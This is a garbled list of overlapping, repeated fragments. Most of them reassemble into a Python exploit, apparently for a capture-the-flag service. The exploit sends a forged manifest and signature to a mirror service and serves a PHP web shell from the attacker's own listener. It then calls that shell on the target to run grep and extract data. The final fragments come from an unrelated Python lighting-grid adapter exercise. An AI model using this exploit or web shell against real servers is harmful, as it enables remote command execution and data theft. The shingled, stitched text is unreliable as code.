"% (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket()",
"Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST, PORT)) from_client =",
"+ \"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}'",
"Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1",
"true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS =",
"b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(),",
"print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl,",
"= 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php",
"%d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\")",
"= s.accept() print(\"Got connection from %s, sending files\" % (cl_info, )) cl.sendall(ANS) print(from_client.readline().strip())",
"from %s, sending files\" % (cl_info, )) cl.sendall(ANS) print(from_client.readline().strip()) print(from_client.readline().strip()) print(from_client.readline().strip()) print(requests.get(\"http://%s/JhXY.php?key=KnfSM\" %",
"to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush()",
"'{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP",
"from_client = c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush()",
"\"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE",
"OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST, PORT)) from_client",
"len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD)",
"c = socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip())",
"\"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php",
"MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE =",
"to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info",
"= \"0\" * (921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"},",
"= '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504'",
"print(\"Got connection from %s, sending files\" % (cl_info, )) cl.sendall(ANS) print(from_client.readline().strip()) print(from_client.readline().strip()) print(from_client.readline().strip())",
"socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info = s.accept() print(\"Got connection",
"'=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d",
"print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush()",
"\"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA",
"*\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\"",
"%s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK Content-Length: %d",
"\"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";'",
"\"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep",
"Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP),",
"requests import sys if len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT",
"cl_info = s.accept() print(\"Got connection from %s, sending files\" % (cl_info, )) cl.sendall(ANS)",
"br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n",
"% (len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client =",
"import requests import sys if len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1)",
"sys.argv[1] MYIP = sys.argv[2] MYPORT = \"0\" * (921-len(MYIP)) + \"4000\" MANIFEST =",
"'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success:",
"= c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip())",
"d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200",
"* (921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\",",
"to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)",
"to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info =",
"MYIP = sys.argv[2] MYPORT = \"0\" * (921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\":",
"PAYLOAD) c = socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip())",
"len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT = 3255 HOST =",
"import sys if len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT =",
"(MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET,",
"int(MYPORT))) s.listen() cl, cl_info = s.accept() print(\"Got connection from %s, sending files\" %",
"s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info = s.accept() print(\"Got connection from",
"3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT = 3255 HOST = sys.argv[1] MYIP",
"c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP,",
"%s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client",
"to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s =",
"HOST = sys.argv[1] MYIP = sys.argv[2] MYPORT = \"0\" * (921-len(MYIP)) + \"4000\"",
"SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url:",
"= sys.argv[1] MYIP = sys.argv[2] MYPORT = \"0\" * (921-len(MYIP)) + \"4000\" MANIFEST",
"= socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\"",
"\"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD",
"b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST,",
"<host> <my_ip>\") exit(1) PORT = 3255 HOST = sys.argv[1] MYIP = sys.argv[2] MYPORT",
"sys if len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT = 3255",
"\"0\" * (921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\":",
"\"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD =",
"3255 HOST = sys.argv[1] MYIP = sys.argv[2] MYPORT = \"0\" * (921-len(MYIP)) +",
"%s, sending files\" % (cl_info, )) cl.sendall(ANS) print(from_client.readline().strip()) print(from_client.readline().strip()) print(from_client.readline().strip()) print(requests.get(\"http://%s/JhXY.php?key=KnfSM\" % HOST).text)",
"s.accept() print(\"Got connection from %s, sending files\" % (cl_info, )) cl.sendall(ANS) print(from_client.readline().strip()) print(from_client.readline().strip())",
"import socket import requests import sys if len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host>",
"MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD),",
"= 3255 HOST = sys.argv[1] MYIP = sys.argv[2] MYPORT = \"0\" * (921-len(MYIP))",
"(921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\": \"32bfce7a147d2fb0c87ff234c2848a37\"}, {\"url\": \"http://mirror/JhXY.php\", \"checksum\":",
"MYPORT = \"0\" * (921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\", \"checksum\":",
"s.listen() cl, cl_info = s.accept() print(\"Got connection from %s, sending files\" % (cl_info,",
"to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen()",
"PORT)) from_client = c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT));",
"http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP)",
"Content-Length: %d %s\"\"\" % (MYIP.encode(), MYPORT.encode(), len(FAKE_PHP), FAKE_PHP) ANS = b\"\"\"HTTP/1.1 200 OK",
"MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,",
"FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\" PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true",
"<my_ip>\") exit(1) PORT = 3255 HOST = sys.argv[1] MYIP = sys.argv[2] MYPORT =",
"(len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client = c.makefile(\"w\")",
"200 OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c = socket.socket() c.connect((HOST, PORT))",
"socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info = s.accept() print(\"Got connection from %s,",
"if len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT = 3255 HOST",
"= c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip())",
"cl, cl_info = s.accept() print(\"Got connection from %s, sending files\" % (cl_info, ))",
"print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\",",
"s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info = s.accept() print(\"Got connection from %s, sending files\"",
"exit(1) PORT = 3255 HOST = sys.argv[1] MYIP = sys.argv[2] MYPORT = \"0\"",
"= socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT))) s.listen() cl, cl_info = s.accept() print(\"Got",
"PAYLOAD = b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" %",
"= b\"\"\"AAAAAA Url: http://%s:%s/JhXY.php Success: true Hashsum: d55ec508be338092ab591f3d7e4ab929\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n Content-Length: %d %s\"\"\" % (MYIP.encode(),",
"c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\");",
"socket import requests import sys if len(sys.argv) < 3: print(\"Usage: ./startup_sploit <host> <my_ip>\")",
"ANS = b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c =",
"{\"url\": \"http://mirror/JhXY.php\", \"checksum\": \"d55ec508be338092ab591f3d7e4ab929\"}]}' SIGNATURE = 'c2f5e7a6e44e2fc4076a5930df75b02220c5f9313e0f3faa7ecb4e281dca359bc12426715e7c2902934e6995c9cdbcda93b8c4e0e5993f25309267b79978f504' FAKE_PHP = br\"\"\"<?php if($_GET[\"key\"]==\"KnfSM\")system(\"grep '=\\\";' *\")?>\"\"\"",
"< 3: print(\"Usage: ./startup_sploit <host> <my_ip>\") exit(1) PORT = 3255 HOST = sys.argv[1]",
"to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((\"0.0.0.0\", int(MYPORT)))",
"= b\"\"\"HTTP/1.1 200 OK Content-Length: %d %s?>\"\"\" % (len(PAYLOAD), PAYLOAD) c = socket.socket()",
"print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" % (MYIP, MYPORT)); to_client.flush() print(from_client.readline().strip()) to_client.write(MANIFEST+\"\\n\"); to_client.flush() print(from_client.readline().strip()) to_client.write(SIGNATURE+\"\\n\"); to_client.flush() s",
"socket.socket() c.connect((HOST, PORT)) from_client = c.makefile(\"r\") to_client = c.makefile(\"w\") print(from_client.readline().strip()) print(from_client.readline().strip()) to_client.write(\"%s:%s\\n\" %",
"sys.argv[2] MYPORT = \"0\" * (921-len(MYIP)) + \"4000\" MANIFEST = '{\"links\": [{\"url\": \"http://mirror/wyjzmw.php\","
] |
[
"range(dim[0])] for _ in range(dim[1])] def set_lights(self, lights): self.lights = lights self.generate_lights() def",
"if g == 1: lights.append((k, i)) if g == -1: obtacles.append((k, i)) return",
"-1 # Стены def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) # for i in",
"_ in range(dim[1])] def set_lights(self, lights): self.lights = lights self.generate_lights() def set_obstacles(self, obstacles):",
"in range(dim[1])] self.lights = [] self.obstacles = [] def set_dim(self, dim): self.dim =",
"def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) # for i in self.lightmap: # print(i)",
"range(dim[1])] def set_lights(self, lights): self.lights = lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles =",
"i in range(dim[0])] for _ in range(dim[1])] def set_lights(self, lights): self.lights = lights",
"'__main__': class Light: def __init__(self, dim): self.dim = dim self.grid = [[0 for",
"range(dim[0])] for _ in range(dim[1])] self.lights = [] self.obstacles = [] def set_dim(self,",
"if g == -1: obtacles.append((k, i)) return lights, obtacles if __name__ == '__main__':",
"in range(30)] for _ in range(20)] self.map[5][7] = 1 # Источники света self.map[5][2]",
"__init__(self): self.map = self.grid = [[0 for i in range(30)] for _ in",
"obtacles if __name__ == '__main__': class Light: def __init__(self, dim): self.dim = dim",
"[] obtacles = [] for i, j in enumerate(grid): for k, g in",
"self.adaptee = adaptee def lighten(self, grid): lights, obtacles = self.__find_all(grid) height, width =",
"range(dim[1])] self.lights = [] self.obstacles = [] def set_dim(self, dim): self.dim = dim",
"# Источники света self.map[5][2] = -1 # Стены def get_lightening(self, light_mapper): self.lightmap =",
"self.obstacles = obstacles self.generate_lights() def generate_lights(self): return self.grid.copy() class System: def __init__(self): self.map",
"i)) if g == -1: obtacles.append((k, i)) return lights, obtacles if __name__ ==",
"Стены def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) # for i in self.lightmap: #",
"class MappingAdapter: def __init__(self, adaptee): self.adaptee = adaptee def lighten(self, grid): lights, obtacles",
"= [[0 for i in range(dim[0])] for _ in range(dim[1])] def set_lights(self, lights):",
"= [] for i, j in enumerate(grid): for k, g in enumerate(j): if",
"__name__ == '__main__': class Light: def __init__(self, dim): self.dim = dim self.grid =",
"self.obstacles = [] def set_dim(self, dim): self.dim = dim self.grid = [[0 for",
"set_dim(self, dim): self.dim = dim self.grid = [[0 for i in range(dim[0])] for",
"in range(dim[0])] for _ in range(dim[1])] def set_lights(self, lights): self.lights = lights self.generate_lights()",
"def generate_lights(self): return self.grid.copy() class System: def __init__(self): self.map = self.grid = [[0",
"_ in range(20)] self.map[5][7] = 1 # Источники света self.map[5][2] = -1 #",
"== 1: lights.append((k, i)) if g == -1: obtacles.append((k, i)) return lights, obtacles",
"dim): self.dim = dim self.grid = [[0 for i in range(dim[0])] for _",
"self.map[5][7] = 1 # Источники света self.map[5][2] = -1 # Стены def get_lightening(self,",
"dim self.grid = [[0 for i in range(dim[0])] for _ in range(dim[1])] def",
"[[0 for i in range(30)] for _ in range(20)] self.map[5][7] = 1 #",
"def lighten(self, grid): lights, obtacles = self.__find_all(grid) height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height,",
"for i in range(30)] for _ in range(20)] self.map[5][7] = 1 # Источники",
"[[0 for i in range(dim[0])] for _ in range(dim[1])] def set_lights(self, lights): self.lights",
"self.grid = [[0 for i in range(dim[0])] for _ in range(dim[1])] self.lights =",
"def __init__(self, dim): self.dim = dim self.grid = [[0 for i in range(dim[0])]",
"self.adaptee.generate_lights() def __find_all(self, grid): lights = [] obtacles = [] for i, j",
"[[0 for i in range(dim[0])] for _ in range(dim[1])] self.lights = [] self.obstacles",
"= dim self.grid = [[0 for i in range(dim[0])] for _ in range(dim[1])]",
"lights.append((k, i)) if g == -1: obtacles.append((k, i)) return lights, obtacles if __name__",
"in range(20)] self.map[5][7] = 1 # Источники света self.map[5][2] = -1 # Стены",
"self.lightmap = light_mapper.lighten(self.map) # for i in self.lightmap: # print(i) sys = System()",
"self.dim = dim self.grid = [[0 for i in range(dim[0])] for _ in",
"in range(dim[1])] def set_lights(self, lights): self.lights = lights self.generate_lights() def set_obstacles(self, obstacles): self.obstacles",
"lighten(self, grid): lights, obtacles = self.__find_all(grid) height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width))",
"= [] def set_dim(self, dim): self.dim = dim self.grid = [[0 for i",
"for _ in range(20)] self.map[5][7] = 1 # Источники света self.map[5][2] = -1",
"self.map[5][2] = -1 # Стены def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) # for",
"get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) # for i in self.lightmap: # print(i) sys",
"width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self, grid):",
"obtacles = [] for i, j in enumerate(grid): for k, g in enumerate(j):",
"class Light: def __init__(self, dim): self.dim = dim self.grid = [[0 for i",
"i in range(30)] for _ in range(20)] self.map[5][7] = 1 # Источники света",
"i, j in enumerate(grid): for k, g in enumerate(j): if g == 1:",
"System: def __init__(self): self.map = self.grid = [[0 for i in range(30)] for",
"= [[0 for i in range(dim[0])] for _ in range(dim[1])] self.lights = []",
"= obstacles self.generate_lights() def generate_lights(self): return self.grid.copy() class System: def __init__(self): self.map =",
"for i in range(dim[0])] for _ in range(dim[1])] def set_lights(self, lights): self.lights =",
"def set_dim(self, dim): self.dim = dim self.grid = [[0 for i in range(dim[0])]",
"self.grid = [[0 for i in range(30)] for _ in range(20)] self.map[5][7] =",
"[] self.obstacles = [] def set_dim(self, dim): self.dim = dim self.grid = [[0",
"if __name__ == '__main__': class Light: def __init__(self, dim): self.dim = dim self.grid",
"self.__find_all(grid) height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def",
"enumerate(grid): for k, g in enumerate(j): if g == 1: lights.append((k, i)) if",
"for _ in range(dim[1])] self.lights = [] self.obstacles = [] def set_dim(self, dim):",
"света self.map[5][2] = -1 # Стены def get_lightening(self, light_mapper): self.lightmap = light_mapper.lighten(self.map) #",
"__find_all(self, grid): lights = [] obtacles = [] for i, j in enumerate(grid):",
"height, width = len(grid[0]), len(grid) self.adaptee.set_dim((height, width)) self.adaptee.set_lights(lights) self.adaptee.set_obstacles(obtacles) return self.adaptee.generate_lights() def __find_all(self,",
"__init__(self, dim): self.dim = dim self.grid = [[0 for i in range(dim[0])] for",
"range(30)] for _ in range(20)] self.map[5][7] = 1 # Источники света self.map[5][2] =",
"j in enumerate(grid): for k, g in enumerate(j): if g == 1: lights.append((k,",
"generate_lights(self): return self.grid.copy() class System: def __init__(self): self.map = self.grid = [[0 for",
"g in enumerate(j): if g == 1: lights.append((k, i)) if g == -1:",
"class System: def __init__(self): self.map = self.grid = [[0 for i in range(30)]",
"self.lights = [] self.obstacles = [] def set_dim(self, dim): self.dim = dim self.grid",
"= light_mapper.lighten(self.map) # for i in self.lightmap: # print(i) sys = System() sys.get_lightening(MappingAdapter(Light))",
"obtacles.append((k, i)) return lights, obtacles if __name__ == '__main__': class Light: def __init__(self,",
"= [] self.obstacles = [] def set_dim(self, dim): self.dim = dim self.grid =",
"return self.grid.copy() class System: def __init__(self): self.map = self.grid = [[0 for i",
"[] for i, j in enumerate(grid): for k, g in enumerate(j): if g",
